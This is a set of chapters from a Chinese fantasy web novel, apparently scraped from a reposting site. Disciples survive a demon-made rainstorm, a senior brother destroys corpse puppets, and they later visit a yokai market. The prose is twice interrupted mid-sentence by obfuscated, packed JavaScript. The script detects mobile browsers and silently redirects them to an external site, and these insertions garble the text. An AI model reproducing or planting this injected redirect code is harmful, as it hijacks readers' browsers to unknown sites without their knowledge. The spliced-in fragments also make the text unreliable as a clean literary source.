安慈是个暴脾气,听了他这通不明所以的话,脑袋都快炸开了,炮珠似的蹦出一溜串问题不带喘气,“能讲具体些吗?是遇到了什么魔物?他现在还在这附近吗?你的伤口是魔物咬出来的吗?还有你的同伴现在在哪?” 林昱南表情空白,呆呆地望着屋顶。 乌以灵怀疑他要来一句“是也不是”。 “不知道。” 哦,比是也不是还糟糕。 苏烟枝小声和乌以灵咬耳朵,“他脑子是不是也被魔物吃掉了?” 乌以灵太阳穴突突直跳,她按住苏烟枝,又试着和林昱南攀谈,“那你可知你们这趟要除的魔物究竟是个什么样的东西?我听说那东西擅长伪装,甚至还混进了妖市里,这是真的吗?” 林昱南眼珠缓慢转动了一下,但依旧呆呆的,“好像是这样。” 可能真被魔物吃了脑子。 乌以灵彻底放弃从他嘴里挖出真相,她转而问苏烟枝,“烟枝,你在妖市还听到剑修们说了什么?” 苏烟枝敲着脑门,费力地回想着当时打听到的细节,“似乎没有什么了……哦对了,我记起来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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乌以灵快速眨眨眼,强硬地把心头那点惊惶挤下去,“是的,林师兄受了重伤,刚好遇到了我们。但魔物还在附近,随时可能再次袭来,如今别无他法,只能向您求助了。” “哦?”晏山青眉梢轻挑,听见后辈受了重伤,这人居然没有丝毫波澜,仿佛在听一件无关痛痒的小事,“你救了他?” 乌以灵抿着唇,“是。” 晏山青温和地笑笑,“小师妹果然心地善良。” 他语气温柔,但乌以灵无端从中听出了警告的意味。 乌以灵知道他是忌惮她用奶茶救了除他之外的人,但现在实在没空和晏山青扯皮,“求师兄救救我们,林师兄虽然暂时保住了性命,但状态很不好。” “好啊。”晏山青笑道,“那你开门。” 乌以灵怔住,“开门?” 她大脑一片空白,什么意思?开什么门? 但她的身体却先于大脑理解了这句话的含义,她近乎本能地站起身,在黑暗中跌跌撞撞跑到门口,用尽全身力气拉开吱呀作响的庙门。 屋外风雨如晦,江水滔滔,浓烈的雨水气和山林松风扑面而来。 晏山青静静伫立在门口,手执琉璃灯,光晕温暖而柔和,将屋内的浓重血腥与屋外的摇曳风雨生生分隔开来。 他青衣潇潇,高大的身影笼罩着仓促狼狈的乌以灵,他垂眸看着眼前宛如受惊的小鹿般打量着他的少女,嘴角噙着淡淡的笑意。 见她表情有些呆滞,晏山青好似见到了什么有趣的东西,他微微欠身,冰凉的手指轻轻刮了下乌以灵的鼻尖,他的声音在风雨里显得异常清晰,“师兄来了,别怕。” 7. 冰淇淋红茶(二) 见乌以灵依旧愣神,晏山青反倒有些新奇。 在他的印象里,眼前的少女总是那样胸有成竹,即使濒死之际也能爆发出惊人的求生意志,狡黠而聪慧得像只无所畏惧随时可能反咬一口的幼兽,能看见她这样空白茫然地神情倒是有些罕见。 ……还挺有意思的。 乌以灵能感知到晏山青缓缓舔舐着她的目光,只觉得鸡皮疙瘩起了一身,她强挤出个僵硬的笑,“晏师兄快进来吧,外头雨大。” 听见门口的动静,苏烟枝和安慈同时探头看来,在见到晏山青时俱是一惊,但随后莫名的安心瞬间涌上心头。 毕竟在他们的认识里,晏山青就是性格温和实力强大得大师兄,虽然平时因为难以揣摩他的喜怒哀乐而不乏畏惧,但真到了这种时候,晏山青又无疑是主心骨一样的存在。 有他在身边无疑会镇定许多。 苏烟枝率先露出如释重负的笑容,声音里带着劫后余生的颤抖,“太好了,晏师兄您是刚好在附近吗?” 晏山青冲她微微一笑,“恰巧途径此地,接到了昱南和小乌的求救,便顺道来了。” 安慈扶着摇摇欲坠的林昱南,虽然不能起身行礼,但从高涨的语气里不难看出他此刻的急切激动,“那师兄可否捎我们回宗?我们飞舟用不了,现在危机四伏,而且林师兄还需要回去疗养。” 晏山青俯下身,冰凉如玉的指尖轻碰着林昱南的额头,柔和的灵力灌输到他体内,而后与林昱南温声道,“昱南现在好些了吗?” 林昱南轻轻点头,“有劳大师兄亲来。” 晏山青有些好笑地摸摸他的脑袋,模样亲切好似与后辈关系融洽的长辈,“你这孩子也是倔脾气,出了事也不知道联络我们。” 林昱南垂着头一言不发。 他又对安慈与苏烟枝说,“有劳你们照看昱南了,他性子闷,给你们添了不少麻烦吧,师兄先代他道歉了。” 当然没人敢接晏山青道歉,安慈连忙道,“不麻烦不麻烦。” 片刻后晏山青又直直望着刻意站在离他最远处阴影里的乌以灵,目光玩味有如实质,“昱南的伤势基本稳住了,短时间内不会出问题。” “小乌,做得很好。” 听他这温柔关切的语气,倒真像个担忧后辈的好师兄……才怪! 乌以灵越想越觉得脊背发凉,这人是怎么瞬间赶到这里的?就算用瞬移之术,也没办法在这么短的时间里探知到他们具体在何处。 除非……他一直在监视的自己。 而故意在这么短的时间里赶过来也不是出于后辈的担心,是故意要让她知道他的视线无处不在! 晏山青是在警告她! 这个想法冒出来的瞬间,乌以灵顿觉头皮发麻,那江风裹挟着的冷雾仿佛渗进了骨头缝里,整个人如坠冰窟浑身发冷。这股没有来头的恶寒仿佛一只无形的大手,死死攥着她的胃,让她差点干呕出来。 乌以灵干巴巴笑了两声,“师兄过誉了,我只是做了我该做的。” 晏山青似乎很满意她的强装镇定,目光终于偏开,继而看向对他满怀信任的苏烟枝和安慈,“抱歉,我暂时不能带你们走。” 两人满脸错愕,异口同声道,“为什么?” 晏山青抬手熄灭火折子微弱的光,狭小的庙里顿时陷入黑暗。 潮水般的黑暗笼罩着所有人,视觉被剥夺后,听觉便变得异常敏锐,在死寂一片的漆黑里,唯有大雨与狂风嘶吼的声音格外清晰,在苍玉江波涛翻涌和屋后山溪轰鸣不止外,似乎还有什么声音…… 一道让人头皮发麻的尖细声音无比清晰地钻进了每个人的耳朵。 “好像……有人在哭?” 苏烟枝小声开口,她紧贴在乌以灵身上,浑身细细打着颤,像是被自己的话吓到了,说完后立刻噤了声。 乌以灵安抚似的拍拍她的背,凝神仔细聆听着外面的动静,“确实,我先前似乎也听到过,但听得不真切,只以为是山林里的风声。” 安慈沉默片刻,在黑暗里紧紧拧起眉,说出的话语骤然让所有人不寒而栗,“你们不觉得,那哭声越来越近了吗……好像就在门口一样。” 此话一出,屋内立刻陷入更加诡异的寂静。 风雨咆哮,江浪翻涌,电闪雷鸣,屋后山溪哗哗奔流随时可能要冲垮这间残破的庙宇。 而在那起伏轰鸣的雷雨间,尖细凌厉的哭声穿透空濛的山林和澎湃的江水,如同利刃划破长空直向这间破庙而来。声音越来越清晰,越来越逼近,到最后竟像是贴着门缝哀嚎,又像是锋利鬼爪抓挠着每个人的神经,要把人生生逼疯。 乌以灵意识到了什么,忽然扑上前用力攥住晏山青的手臂,语气尖锐,“师兄熄灭火折子,是因为你知道那魔物畏火,要故意把它引过来?” “小师妹真聪明。”黑暗里看不清晏山青的神情,但能听见他依旧不慌不忙的声音,他轻拍着乌以灵的手臂,动作亲昵好似安抚,“放心,有师兄在,不会让你出事的。” 就在他话音落下的瞬间,强劲的狂风豁然掀翻屋顶,本就摇摇欲坠的屋瓦房梁如同纸片洒向高空,瓢泼大雨当头浇下,在风雨嘶鸣间,尖利的哭声骤然拔高,好似长长的指甲在木板上不间断地刮擦,留下暗红蜿蜒的血痕。 “啊———” 凄厉的哭声响彻云霄,竟像是万千怨灵齐声哀嚎,一股混合着血腥和腐烂气息的恶臭以排山倒海之势扑面而来。 在暴雨倾斜间,乌以灵忽然感觉到几缕湿滑冰凉的东西猛地擦过耳廓,气息粘腻像是江水底肆意生长的青泥绿藻,让她无端觉得四肢生寒。 “溯洄,出。” 晏山青的声音在风雨浪潮间清晰想起,语气镇定冷静不含一丝情绪。 碧蓝色的剑光划破漆黑的长夜,几乎是快如流星,甚至乌以灵还没来得及看清剑影,剑光已然刺穿幕布般的大雨。眼前寒气霎时凌冽,那逼近的东西但却好似强弩之末,再如何也不能逼近半步。 而那久久不绝的哭声,在这一刻戛然而止。 剑光转动,身法虽如灵蛇般轻盈,但动作却是重如万钧雷霆,轰然剑鸣之下似有隐隐哀鸣。 琉璃灯再次亮起,驱散了眼前的黑暗,只见晏山青一手执剑一手提灯,溯洄剑尖灵力流转,暗黑色的血水沿着银白剑身滴滴答答淌下,在地面晕染开一小块浓稠暗黑色的血泊。 而地面卧趴着一团水淋淋的东西,乌黑弯曲的长发包裹着它,浑身满是泥水,就仿佛刚从水底爬出来的水鬼,浑身散发着让人窒息的腐臭和浓烈刺鼻的血腥气。长剑刺穿它的胸口,地上血水 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这诡异的怪物既没点头也没摇头,只是坐在地上继续呜呜呜哭着,喉咙里断断续续发出让人毛骨悚然的怪异呼噜声,它麻木地扯着头发,水藻一样的头发立刻被扯掉了一大片,露出里面森白的头皮。 哭声嘶哑哀怨,暗绿色的恶臭粘液溢出眼眶,沿着它肿胀青白的脸滑落。 苏烟枝摇摇头,她虽然心里怕得不行,但还是在恐惧里抓到了一丝不对劲,“应该不是它,林师兄说过他在黑暗里闻到了雨水的味道,但如果是它,应该会很明显地感受到这股臭味。” 说完她猛地回头主动问站在人群后的林昱南,“林师兄,是它伤的你吗?” 林昱南虽然脸色已然有些苍白,但看起来精神似乎清醒了些,眼里的呆滞褪去不少,乍一看倒又是原书里说的高岭之花了。 他握着手中长剑靠近,仔细端详着这怪物,原本平静无波的语气陡然变得剧烈,他确定道,“不是它,它不是魔物。” 乌以灵陡然睁大眼睛,先前被那股恶臭干扰,也是这时她才发现那东西身上居然没有魔气! 显然不止是乌以灵,苏烟枝和安慈也瞬间意识到了这点,安慈更是想也没想,直接两只手拉起它,快速探知着它身上的气息,想法得到验证后安慈脸色最后一丝血色也褪去了,他喃喃道,“怎么可能……明明已经死去了……怎么会……” 他用力抬起头,直直看着晏山青,声音因为过于震惊而剧烈颤抖着,“大师兄,这不是魔物,是人!已经死了很久的人!可是……怎么会?他是怎么变成这样的?” 这哭声不止的怪物是死去的人。 这个结论无疑让人恐惧,它是怎么死的?怎么会变成这样不人不鬼的样子?那作乱伤人的魔物呢?它又在哪? 几个人的目光同时看向晏山青,却见晏山青眼底翻涌着他们看不懂的情绪,像是嘲讽又像是憎恨,复杂的神情在他目光中宛如浓墨翻涌,越发让本就让人捉摸不透的晏山青显得更加难以靠近。 乌以灵却敏锐地察觉到他眼中一闪而过的哀伤。 是的,哀伤。 难以想象,这种脆弱又狼狈的情绪会出现在晏山青身上,就好似一尊华贵完美的雕塑上生出了一道细微的裂痕。 就好比触到了毒蛇身上一片柔软的鳞片,她意识到自己似乎抓住了某个不可告人的秘密。 8. 冰淇淋红茶(三) 在所有人紧锁的目光下,晏山青指尖捻决,蓝色的灵力环绕着尸体,层层叠叠的灵力符文形成一张厚网,将它里面的尸体死死压住。 但在微光流转的灵力波动里,逐渐有什么东西自尸体身上显现出来。 离得最近的安慈率先叫道,“看它的四肢!” 只见尸体肿胀扭曲的手腕和脚腕上隐隐流动过几缕暗黑色的魔气,它们附着在青白的皮肤上,正在极为诡异地蠕动着。在场的几人一眼看出这魔气并非来源于尸体本身,而是被强行附着上面,就像是枷锁死死扣住了尸体的四肢。 苏烟枝也顾不得尸体身上让人作呕的味道,她扑到前面毫不犹豫地伸手去触碰魔气流过的地方。 很快,苏烟枝瞪大了眼睛,不可置信地惊呼,“它被操纵了!附着在它身上的魔咒可以操纵它!” 乌以灵的大脑飞速运转着,她试图在眼前混沌不清的线索里理出一条清晰地思绪,一帧帧画面不断在脑中闪过,像是缠乱的毛线绞得她头疼欲裂,但乌以灵隐隐察觉到真相明明应该近在眼前。 擅长化形又喜水畏火的魔物,林昱南所闻到的雨水味,颠倒昼夜不知下了多久的暴雨,被控制四肢的诡异尸体,还有尸体难以遏制的哭声…… 乌以灵心中猛地一颤,脑中白光豁然闪过。 与此同时,天边惨白的闪电瞬间撕裂夜幕,也映亮了尸体呆滞阴森的灰败面孔。 几乎是在瞬息之间,死尸原本阴森呆滞的诡异面孔忽然变得扭曲,空洞死寂的眼睛猛地朝向苍玉江的方向,它不知从何处爆发出巨大的力量,居然一把推翻按住它的苏烟枝和安慈,踉踉跄跄地站起身,以一种四肢扭曲极为怪诞的方向冲出门,不管不顾地往苍玉江的方向跑去。 随着他的奔跑,那水藻般粘腻成结的头发开始大块大块掉落,每跑一步就会落下一块。 一块一块的黑发掉落在地,留下一地蜿蜒腥臭的水痕和血渍。 伴随着长发脱落的,还有沾满污血的破烂衣衫,接着是泥泞脏臭的皮肤如同融化的尸油般剥落,然后是连血带肉的内脏哗啦啦倾泻一地。 但它没有停下。 只剩下骨架和零星皮肉的躯体无知无觉,它仿佛感知到了苍玉江的召唤,在晦暗天色下执拗而坚定地冲向苍玉江。 直到最后倒在苍玉江畔。 只剩下一具早已腐化破碎的白骨。 没有人阻拦它。 几人终于意识到,真正的魔物,此刻必然还躲在某个角落注视着他们。 “傀儡。”乌以灵盯着地上的头发,语气是前所未有的冷静和严肃,“这是魔物的傀儡。烟枝在集市上听到过这个魔物擅长化形,但我们听后总会先入为主地以为它应该是擅长会化形成妖怪或者普通人混在集市里,但却忽略了另一个化形方向。” “轰隆——” 和平地惊雷一起在所有人耳边炸开的,还有乌以灵无比笃定的声音。 “是的,它化形成了这场大雨。” “我猜这个魔物厉害之处便在于它没有实体,但擅长编织囚笼把人围困起来,就比如我们遇到的这场暴雨。此地位于山林与村落的交界处,妖市在这里召开,苍玉江又带来了源源不断的水流,为这个喜水的魔物提供了壮大的条件。” “它应该会在妖市人烟密集时下手,这时妖族因为不喜欢雨天收摊回山,普通人不得不四散寻找地方避雨,而我们也因为飞舟不能沾水而待在这庙里。” “待所有人被困在它编织的暴雨时,它再放出傀儡,也就是刚才的尸体,若是我没有猜错,这样的尸体应该有不止一具,它们代替没有实体的魔物进食,在寻找到没有烛火的人后立刻将他们啃食殆尽。” “被晏师兄刺伤的尸体现在融化了,我想是因为魔物察觉到了自己遭遇到威胁才弃卒保帅,任由傀儡自生自灭。” 安慈和苏烟枝听后不约而同感到森森寒气顺着脊背爬上来,安慈难以置信,“你是说,它变成了暴雨无时无刻监视者我们?” 林昱南听后却是赞同道,“我觉得乌师妹……所言有理。” 苏烟枝连忙追问,“你是记起了什么细节吗?” 林昱南摇头,“抱歉,没有。但我觉得她的话……逻辑通顺。” 苏烟枝又问他,“那你来此地除魔前,可曾听过雨天有人失踪的传闻?” 林昱南思索片刻,“未曾,此地位于山林,百姓上山砍柴打猎失踪……是常有的事,普遍被认为是猛兽所食,没有人会把它和晴雨变化……挂钩。” 不知道为什么,林昱南说话要么极为简短要么有些磕磕绊绊。 安慈皱眉,“好狡猾的东西!” 乌以灵又看向晏山青,试图从他那张完美无瑕的面具下挖掘出更多的东西,“晏师兄一早就知道吧?为何还要把那傀儡引过来?” “倒是瞒不过你。”晏山青摸着她的脑袋,轻笑两声,“这雨有蹊跷,我来的路上便发现了,虽然雨水里的魔气很淡,但还是能察觉到的。” “至于为什么要把傀儡引来……师妹不觉得,它彻底消散了反倒是解脱吗?” 乌以灵瞳孔骤缩,难以言喻的荒谬感瞬间涌上心头,下意识想后退几步,手腕间却陡然一紧。 晏山青的手像是冰凉的手铐紧紧扣住了她的手腕,不让她挪动半步。 “师妹当心些,你也知道现在草木皆兵,还是别和我走散了好。” 乌以灵试着抽了两下,没抽动,只能认命地让晏山青抓着。 她有些讽刺地想,解脱吗? 听着可真不像晏山青会说的呢。 “我们现在该怎么办?如何才能把那魔物彻底诛杀?” 安慈是急性子,知道真相后根本耐不住手,即使心知自己并非除魔一挂的食修,但在生死关头仍然下意识开口。 晏山青手中长剑出鞘,清凌凌的蓝色剑光流动着,在夜色下居然像极了潺潺淌过的澄澈溪水。 “此剑名为溯洄,颇通水性,可以此引它显形。” 乌以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179993|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵看着他一早准备好的琉璃灯,“然后再用火烧毁它?” 既然知道了魔物到底是什么东西,诛灭反倒变得简单。 乌以灵猜测那魔物固然狡猾,但能出此伎俩的魔物大概本身并不强大,如果魔物自己便可以一打三,又何必弯弯绕绕布这么大的局。 晏山青赞许地看着她,又把琉璃灯递交到她手中,“师妹果然一点就透,现在能帮师兄提着灯吗?” 乌以灵怀疑这人打算把她当活靶子,但在他声音温沉的请求下却没有丝毫拒绝的余地,只能忍着不适接过琉璃灯。 只见溯洄剑剑尖调转方向,直刺向天幕。 剑影流光好似九天银河倾泄,又像是黄河之水天上来,在挥剑的刹那隐隐能听见恰如环佩鸣扣的溪水回旋之声。漫天雨水和呼啸风声似乎找到了方向,顷刻间汇聚于剑尖,形成了连接天地的浩大水旋涡,水声磅礴轰鸣回响。 “嘭——” 一道模糊扭曲的黑影穿过云层,它仿佛由暗沉雨幕凝聚而成,裹挟着澎湃汹涌的水汽,直直奔向那半空之中的水旋涡。 电光石火间,乌以灵迅速挣开晏山青的手,将周身灵力毫无保留地注入手中琉璃灯,双臂将它高高举起,耀眼炙热的七色火光在琉璃灯罩里迸发出惊人的光芒。 几乎像是暗黑夜幕里平地升起的旭日,琉璃灯的光芒瞬间将周围破败的小庙,臻臻莽莽的山林,甚至是原本暗沉沉的天幕映得亮如白昼。周围几人不得不闭上眼睛,下意识用手挡住这刺目的光亮。 “啊啊啊————” 尖利怪异的惨叫声刺破云霄,那团黑影好似撞上了最为炽烈的火焰,被焚烧折磨得痛不欲生,恐怖幽怨的尖利哀嚎比先前的傀儡死尸还要凄厉。在强烈光芒地刺激下,黑影身上好像被泼了一锅热汤,不间断地发出滋滋声响和腾腾黑雾,随着黑雾越来越多,黑影的模样也一点点消失,竟像是凭空蒸发了一般。 而那惨叫声也一点点熄灭,直到最后完全归于寂静。 而随着最后一声呜咽归于平静的,还有那下了不知多久的暴雨。 厚重的乌云散去,雷声归于寂静,连狂躁奔腾的苍玉江也恢复了往日的平和。 顷刻之间天地归于平静。 几人这才发现现在居然不过傍晚,天边晚霞红粉交织,长长的流云贯天幕,像是灿金色的凤凰尾羽。空山新雨后,正是草木葱茏青翠欲滴的好时候。 而原本隐匿在山林间的妖怪,也陆陆续续走出了巢穴。 沉寂良久的山间再度热闹起来。 就好像刚才的那场暴雨中的一切只是一桩噩梦 乌以灵看见地面上残留着一块乳白色的拳头大晶体,晶体光泽温润,散发着淡淡的微芒。 这显然是从魔物身上落下来的。 这无疑提醒着他们刚刚的事情都是真实发生的。 晏山青瞥过那东西,不知想到了什么,嘴角噙起一抹神色不明的笑意,“小师妹,那便是苍玉翎,你这趟可算是寻到宝了。” 9. 冰淇淋红茶(四) “苍玉翎?这就是苍玉翎?” 苏烟枝不可置信地瞪大了眼睛,她下意识想去把那东西拿起来,但思及这东西是从哪里来了,她手一哆嗦停在了半空中。 半晌,只能喃喃道,“这和传闻也不一样啊……” 乌以灵没有顾及太多,她拾起地面上的苍玉翎,将它对着晚霞仔细打量着。 乳白色的晶体散发着淡淡的香味,这种香味是乌以灵从未闻到过的,有点像花香,软绵而甜香味沁人心脾却又不油腻,让她不由得想到了童年夏日里经常用的爽身粉。 只是这东西怎么看着那么像…… “茶叶?” 乌以灵本能地脱口而出。 要是她没记错,这个世界独有的茶叶好像就长这样。 “猜对了。”晏山青听后点点头,嘴边笑意更深,“这就是茶叶,一种生长在苍玉江底的茶叶,经过了千百年才凝结成了这样的茶晶体。” 安慈有些纳闷地打量着其貌不扬的茶晶体,“这东西真有吹得那么玄乎?真的能医死人药白骨?” 晏山青眼中划过些许不留痕迹的嘲弄,“自然是不能的。” 苏烟枝的好奇心彻底被勾出来了,“那它有什么作用吗?” “没有。”晏山青见苏烟枝和安慈陡然石化的脸,目的达成般轻笑道,“一定要说的话可能是……滋味挺甜,味道不错?” “不过……”晏山青话锋一转,“它对你们食修还是有用的。” 安慈眼睛一下子亮起来,连忙追问“什么用什么用?” 晏山青目光落在试图用指甲偷偷扣下一小块晶体的乌以灵身上,眼中笑意更深,“这就要等着我们小乌师妹去发现了。” 乌以灵动作被打断,见所有人目光落在自己身上,难得有些心虚地轻咳两声,强行转移话题,“对了师兄,生长在江底茶叶怎么会出现在魔物身上呢?还有它操纵的其它傀儡现在在哪里呢?以及那些傀儡从何而来?” 晏山青望向群山之间蜿蜒流淌的苍玉江,橙红色的霞光下,宁静的江面蓝粉交织,而山间飞鸟不时拂过,在江面掀起一圈圈涟漪。 “你们如今年岁不大经验不足,这种魔物其实类似于地缚灵,往往因为怨念而生,今天所遇到的魔物也不例外。它诞生与水草丰满之地,感知着苍玉江的水汽而生,故而喜水畏火。” “若长此下去,它本不会成为怨灵,但因为苍玉翎的传说,千百年间无数人涉过江水,潜入江中,试图找到传说中的天材地宝。但往往不能如愿,找到的只有毫无用处的茶晶体。” “苍玉江的平静被打破,它的愤怒日积月累,由此诞生的怨灵不断壮大,直到形成魔物,魔物憎恨所有闯入这片山水的人,势必要将他们全部埋葬在苍玉江的这场大雨里。” 透亮温润的茶晶体静静卧在乌以灵手中。 不属于乌以灵的记忆忽然钻进脑海。 她看见人间帝王将相更迭数载,却从不缺人因为利益驱使钻入江底。看见江水之上因为虚无缥缈的珍宝爆发的战争,战火烧红了本该沉寂千万年的苍玉江。看见原本安稳生活在江畔的百姓不得不远离故土,从此再也没有回来。 最后她听见了哀怨凄厉的恸哭,声声泣血仿佛砸在心头。 “也就是说……”乌以灵试探着开口,“那些死尸其实是潜入苍玉江的寻宝者,他们死后失去了意识,但是身体成为了苍玉江魔物的傀儡。他们的一举一动都是魔物的化身,魔物驱使着傀儡伤人,在被攻击后立刻放弃傀儡。但傀儡里残存着魔物的意识,魔物又生于苍玉江中,所以它们直到最后一刻也想回归苍玉江。” 晏山青满意地看着乌以灵,“说得不错。” “我和昱南要去找剩余的傀儡,先一步告辞了。”他看看天色,提议道,“你们现在出发的话应该还能赶上妖怪们的夜市。” 乌以灵也不愿在与他们无关的事上多纠缠,但心里的疑虑未消,还是忍不住主动问林昱南,“所以重伤林师兄不是傀儡,那是什么?是魔物本身吗?可魔物明明没有实体?” 见林昱南表情空白,乌以灵越发觉得男主身上有些怪异。 “我是说了魔物没有实体,但可没说它任何条件都没有实体。”晏山青眉头轻挑,“想来昱南是在不知情的情况下落入了江中,被潜伏在江水里的魔物袭击了,所以才会感知到魔物和黑暗,以及雨水的味道。” 苏烟枝难以想象居然会有人连自己掉江里了都不记得,“林师兄可是记忆受损了?真的没有关系吗?” “没没有关系,”林昱南看着凑近打量他的少女,脸颊瞬间透红,连忙避开和苏烟枝对视,本就不太利落的话语更加七零八落,“我……其实天生就和……别人不太一样……我不太会说话…记性也很差…总是记不住脸……不是因为魔物才这样的…” “还有…”林昱南飞快看了眼苏烟枝的眼睛,又迅速低下头,“多谢相救,来日登门拜谢。” 乌以灵暗忖,原来男主的高岭之花人设下其实是少年痴呆和结巴,怪不得这人从初见起要么就和人机似的一个字一个字往外蹦,要么就是和故障的人机似的讲一串话要卡壳老半天,而且就算好不容易讲完了还是讲了堆语焉不详的海龟汤。 原来是天生的。 怪不得晏山青和他们说麻烦他们照顾林昱南了。 苏烟枝有些怜悯地看着林昱南,好心安慰道,“没关系的林师兄,你看随着外出除魔的次数增多,和人交谈的机会也就多了,自然就会好起来了。” 显然这在林昱南耳朵里不是安慰而是恐吓。 他快要把脑袋埋到胸口了,像个高个傻鸵鸟缩着脖子,声音比蚊子哼哼还小,“还要出门?好可怕。” 完了还是个重度社恐。 社恐结巴加记性差,乌以灵想要是放在现代高低还能凑个宅男。 她开始怀疑原著里男女主虐了那么多章是不是因为男主是人机,而人机不会说话,女主稍微和他多说两句就要宕机了。 难怪虐了几百章呢,毕竟跨物种恋爱确实困难。 见再逗下去林昱南该熟透了,安慈善心大发地拉回自以为在安慰人的苏烟枝,主动道,“走吧走吧,我们先去妖市了,两位师兄先我们告辞了。” 安慈拖着苏烟枝往反方向走,乌以灵则朝两人一拱手,“告辞。” “听说师妹预备参加宗门大比,”晏山青唇边笑意未褪,“我很期待师妹还能带给我什么惊喜。” 乌以灵并没有理会他,只是目标坚定地转头离去。 她当然不会看见,留在原地的晏山青眼中对她的兴致越发浓厚,过往枯寂数百年的人生实在乏味孤单,而横冲直撞闯入的少女像是一场不期而至的急雨,让他干涸龟裂的心脏再次开始跳动。 倒是有趣极了。 - 夜间的妖市热闹非凡,一眼望去满是眼花缭乱的灯火和五颜六色的车摊,奇异的香味和喧闹的吆喝混杂在一起,显得格外光怪陆离。 乌以灵手里拿着苍玉翎和骨笛,在众多卖灵果的摊位前挑挑练练,最后只能和其余两人相视摇头。 这些灵果要么品质难以言喻要么种类少得可怜,连苍蝇围着灵果嗡嗡嗡打转都压根没人管。甚至很多摊主也不识货,把优劣混杂的灵果乱七八糟堆成山卖,让人挑也挑不出来。 乌以灵也是这时才意识到最开始遇到的小猴妖有多实诚,不仅识货,妖也大方。她买了两大兜子灵果也才十个灵石。 “看来没办法了。”苏烟枝朝乌以灵努努嘴,“上骨笛。” 乌以灵点点头,她挑了个最近的摊位,对摊主亮出骨笛。 在骨笛展示出来的瞬间,原本烟火鼎沸的妖市瞬间安静来下。 一双双颜色各异的眼睛齐刷刷看过来,大锅炒饭的牛妖僵住了锅铲,热情推销的狐妖忘记了张嘴,慵懒扇风的猫妖掉下了扇子。 原本熙熙攘攘的妖市好像被按下了暂停键,所有妖怪的目光都凝聚在乌以灵手中的骨笛上。 那目光里有敬仰,有尊敬,还有近乎狂热的崇拜。 森白骨笛在热闹喧嚣的闹市里依然冰凉至极,丝丝缕缕的寒意渗入骨头缝里,妖冶诡异的暗红色花纹好似有生命般蛊惑着人为它折服。 只见面前原本大喇喇挖着鼻孔的猪妖浑身肥肉一颤,他神色瞬间变得肃穆,慌慌张张地在油腻的围裙上擦了擦手,又恭恭敬敬抱手行礼,“拜见盟主,盟主有何吩咐?” 盟 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但现成的渠道就在眼前,与其把疑问憋在心里,倒不如直接开口,她问尾巴摇得要起飞的狗妖,“你们过去没见过盟主吗?” 狗妖笑容可掬,语气无比笃定,“盟主大人日理万机,我们怎么可能见过呢?都说过啦,既见骨笛,如见盟主。” 安慈忍不住插嘴,“那盟主平时都会忙些啥?” 狗妖认真道语气里带着朴素的尊敬,“您们几位是盟主的朋友吧。盟主平时当然是忙着我们妖族的事情啦。我们是流浪的族群,看似四海遍布无处不在,但我们妖族除了卖些小东西外没有别的生存本领,所以只能追着水草丰茂的地方跑,追着风雨流云跑,永远在流浪各处的路上。” “但是有盟主就不一样啦,盟主帮我们开办妖市,又给我们定下规矩,为我们指引方向,让我们赚了不少灵石,等攒够灵石弟兄们就可以不再流浪了,可以安安稳稳在这里盖间小房子定居啦。” 苏烟枝沉思片刻,原本心里对于妖族的认知骤然颠覆,过去她以为妖族虽然有着自己的生存法则,但和人族不一样在它们喜欢流浪向往云游的生活。 “所以说,你们并不是天生喜欢流浪,是和普通人一样被生活驱使才不得不流浪。如果有钱了还是会在某一个地方定居?” 狗妖一脸理所当然,用力点点头,“那当然,谁喜欢天天淋雨睡在泥窝的日子?有间自己的房子交几个好朋友安安稳稳住在这里不好吗?我们只是数量多了些,分布杂了些,又没说我们真的喜欢四海为家。” 乌以灵却看出了狗妖眼里更深的无奈,她轻声问,“那离你可以定居此地还要多久呢?” 狗妖原本光彩照人的笑脸忽然变得黯淡,“还要四五十年吧……那时候我都变成一条老狗了。” 他的狗爪子无意识扒拉着地面,语气里带着点寂寞的自嘲,“谁让人们都觉得妖怪很危险,我们买一块人族的地定居要花多上五倍的灵石。” “但这不是盟主的错。”狗妖一本正经道,“盟主已经为我们争取很多了,剩下的还要我们自己两只爪子挣出来。” 乌以灵基本听明白了,晏山青是妖族盟主,他为妖族争取来了开办妖市的权利,让妖族们可以靠自己结束四处漂泊的日子。 没想到这变态还能做件好事。 不对…… 她忽然意识到,晏山青似乎只在她面前撕下来那层虚伪的面皮,露出里面吃人不吐骨头的森森恶鬼。 但在外人面前,他是在同门后辈遇险后第一时间赶到的好师兄,是实力强劲一举诛杀魔物的正道之光,还是在背后默默支撑妖族的善心盟主。 若说君子论迹不论心这块,晏山青无疑是最好的例子。 但偏偏乌以灵和他初见是那样不愉快,她没办法用善意去理解他,只能用冰冷的利益撬开他坚硬的外壳。 晏山青不可能白白帮妖族的,他这么做必然有所图谋。 但既然妖族已经接受了恩惠,乌以灵便不愿再去深究他所图谋的到底是什么。 只是看着眼前还要劳碌四五十年的可怜小狗,一个奇妙的念头忽然涌上心头。 10. 冰淇淋红茶(五) 乌以灵从来都很清楚自己想要什么,她要在这个世界活下去。 即使一无所有,即使背负着来着晏山青的死亡威胁,即使名声狼藉处处被蒋卜同之流刁难,那她也要活下去。 和面前爪垫粗糙的狗妖一样,靠着自己的双手,在流离颠簸的命运里为自己刨出一线生机。 除了借助接下来的宗门大比快速打响名头,她还要做什么呢? 她的奶茶配方显然是有用的,可以救活林昱南,可以治疗晏山青,也可以征服食修的众人,这个东西的前景无疑是广阔得让人心跳加速。 倘若未来她要把奶茶推向更广阔更偏远的地方,眼前遍布四海却又渴望归处的妖族想来会是最好的帮助。 开店,这个念头如同闪电劈开混沌的思绪。 这是眼下最快捷最方便的方法。 